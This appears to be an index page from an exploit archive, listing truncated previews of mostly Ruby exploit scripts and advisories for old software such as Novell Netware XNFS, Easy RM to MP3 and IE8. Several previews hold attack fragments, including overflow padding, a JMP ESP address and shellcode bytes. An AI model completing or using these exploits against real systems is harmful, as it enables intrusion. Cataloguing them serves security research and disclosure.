Novell Netware XNFS caller_name xdrDecodeString Code Execution

Application: Novell Netware XNFS callername xdrDecodeString Remote Code Execution Vulnerability Platforms: Novell Netware 6.5 SP8 Exploitation: Remote code execution CVE Number: Novell TID: 5117430 ZDI: ZDI-12-11 PRL: 2012-03 Author: Francis Provencher Protek Research Lab's Website:...

Novell Netware XNFS.NLM NFS Rename Remote Code Execution

Application: Novell Netware XNFS.NLM NFS Rename Remote Code Execution Vulnerability Platforms: Novell Netware 6.5 SP8 Exploitation: Remote code execution CVE Number: Novell TID: 5117430 ZDI: ZDI-12-06 PRL: 2012-02 Author: Francis Provencher Protek Research Lab's Website:...

A-PDF All to MP3 2.3.0 - Universal DEP Bypass

A-PDF All to MP3 2.3.0 - Universal DEP Bypass !/usr/bin/ruby +Exploit Title: A-PDF All to MP3 v2.3.0 Universal DEP Bypass Exploit +Date: 09\08\2011 +Author: C4SS!0 G0M3S +Software Link: http://www.a-pdf.com/all-to-mp3/ +Version: 2.3.0 +Tested On: WIN-XP SP3 Brazilian Portuguese +CVE: N/A Dep bypa...

POP Peeper 3.7 SEH Overflow

!/usr/bin/ruby Title: POP Peeper 3.7 SEH Exploit Tested on: Windows XP SP2 EN Target: POP Peeper 3.7.0.0 Download Link: http://www.poppeeper.com/download.php Author: Anastasios Monachos secuid0 - anastasiosmatgmaildotcom Greetz: offsec team, inj3ct0r team appdata = ENV'APPDATA' file = appdata...

Host-Extract - Host/IP Pattern Extractor Tool !

Host-Extract - Host/IP Pattern Extractor Tool ! This little ruby script tries to extract all IP/Host patterns in page response of a given URL and JavaScript/CSS files of that URL. With it, you can quickly identify internal IPs/Hostnames, development IPs/ports, cdn, load balancers, additional...

Microsoft Internet Explorer 8 - CSS Parser

Microsoft Internet Explorer 8 - CSS Parser !/usr/bin/env ruby Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/ Author: Nephi Johnson d0cs4vage require 'socket' def httpsendsock, data, opts= defaults = :code="200", :message="OK", :type="text/html" opts =...

RomPager 4.07 Denial Of Service

Software: "RomPager/4.07 UPnP/1.0" Issue: A reboot can be caused when a special crafted http request is sent. Other Details: This version of RomPager is seen on a number of residential routers that are shipped by a number of different ISP's. The router I personal know it effects is the d-link...

SyncBack Freeware V3.2.20.0 SEH Exploit

Exploit for windows platform in category local exploits ======================================= SyncBack Freeware V3.2.20.0 SEH Exploit ======================================= !/usr/bin/ruby Software : SyncBack Freeware V3.2.20.0 Author : Lincoln Date : May 19, 2010 Reference :...

phpscripte24 Shop System SQL Injection

----------------------------Information------------------------------------------------ +Name : phpscripte24 Shop System SQL Injection Vulnerability Exploit +Autor : Easy Laster +ICQ : 11-051-551 +Date : 09.05.2010 +Script : phpscripte24 Shop System +Download : ----------- +Demo :...

Urgent Backup 3.20 / ABC Backup Pro 5.20 / ABC Backup 5.50 (.zip) SEH

Exploit for windows platform in category local exploits ===================================================================== Urgent Backup 3.20 / ABC Backup Pro 5.20 / ABC Backup 5.50 .zip SEH ===================================================================== !/usr/bin/ruby Software : Urgent...

Archive Searcher 2.1 SEH Overwrite

!/usr/bin/ruby Software : Archive Searcher 2.1 Author : Lincoln OS : Windows Tested on : XP SP3 En VirtualBox Type of vuln : SEH Greetz to : Corelan Security Team http://www.corelan.be:8800/index.php/security/corelan-team-members/ Script provided 'as is', without any warranty. Use for educational...

Free WMA MP3 Converter Buffer Overflow

sorry was missing some text from my previous email Exploit Title: Free WMA MP3 Converter Date: 02/04/2010 Author: Richard leahy Software Link: http://www.freewarefiles.com/downloadscounter.php?programid=44210 Version: 1.1 Tested on: Windows Xp Sp2 category local exploit to trigger vulnrability op...

Easy RM to MP3 2.7.3.700 - Local Overflow

!/usr/bin/ruby breakit = "\x41" 26109 jump = "\x3a\xf2\xaa\x01" padit = "\x90" 25 01AAF23A FFE4 JMP ESP MSRMCcodec02.dll finishhim = "\xdd\xc5\xd9\x74\x24\xf4\x58\xbf\x27\x98\xb6\xfc\x31\xc9" + "\xb1\x32\x31\x78\x17\x83\xe8\xfc\x03\x5f\x8b\x54\x09\x63" +...

MediaCoder 0.6.2.4275 Universal Buffer Overflow Exploit (SEH)

Exploit for unknown platform in category local exploits ============================================================= MediaCoder 0.6.2.4275 Universal Buffer Overflow Exploit SEH ============================================================= !/usr/bin/env ruby MediaCoder 0.6.2.4275 Universal Buffer...

LoveCMS 1.6.2 Final Update Settings Remote Exploit

No description provided by source. !/usr/bin/ruby Exploit by PoMdaPiMp! --------------------- pomdapimpatgmaildotcom LoveCMS Exploit Series Episode 3: changing site settings ... Description: Simply change the site settings ! Usage: ./LoveCMS3settings.rb host Ex: ./LoveCMS2themes.rb...

Ruby WEBrick远程目录遍历漏洞

CVECAN ID: CVE-2008-1891 Ruby是一种功能强大的面向对象的脚本语言。 WEBrick是Ruby中内嵌的HTTP服务器程序库。WEBrick组件存在目录遍历漏洞，如果服务器使用的是NTFS或FAT文件系统的话，远程攻击者就可以通过在向使用WEBrick::HTTPServlet::FileHandler或WEBrick::HTTPServer.new的应用所提交的URI请求结尾附加“+”、“%2b”、“.”、“%2e”或“%20”字符执行目录遍历攻击，导致读取任意CGI文件。 Yukihiro Matsumoto Ruby 1.9.x Yukihiro...

Minnu's filer2 vulnerable in allowing arbitrary Ruby script execution

Overview The Minnu's filer2 is a Unix file managing program. This software has a vulnerability that allows a attacker to execute arbitrary Ruby scripts with the privilege of the user running the Minnu's filer2. Impact An attacker could take over a user's account, steal the user's information or...

scssboard-multi.txt

!/usr/bin/ruby inphex - i didnt include all of those bugs into the code,this code basicly checks if the forum is vulnerable and also exploits SQL Injection bug! all versions on sourceforge seem to be the same ;\ so check is beeing done on each version. - scb is set as default table prefix this...

DVD X Player 4.1 Professional .PLF file Buffer Overflow Exploit

Exploit for unknown platform in category local exploits =============================================================== DVD X Player 4.1 Professional .PLF file Buffer Overflow Exploit =============================================================== !/usr/bin/env ruby 0day DVD X Player 4.1...

Rumpus 5.1 Local Privilege Escalation / Remote FTP LIST PoC Exploit

No description provided by source. !/usr/bin/ruby Copyright c Lance M. Havok lmh at info-pull.com Kevin Finisterre kflists at digitalmunition.com Proof of concept for issues described in MOAB-18-01-2007. require 'net/ftp' require 'socket' bugselected = ARGV0 || 0.toi targethost = ARGV1 ||...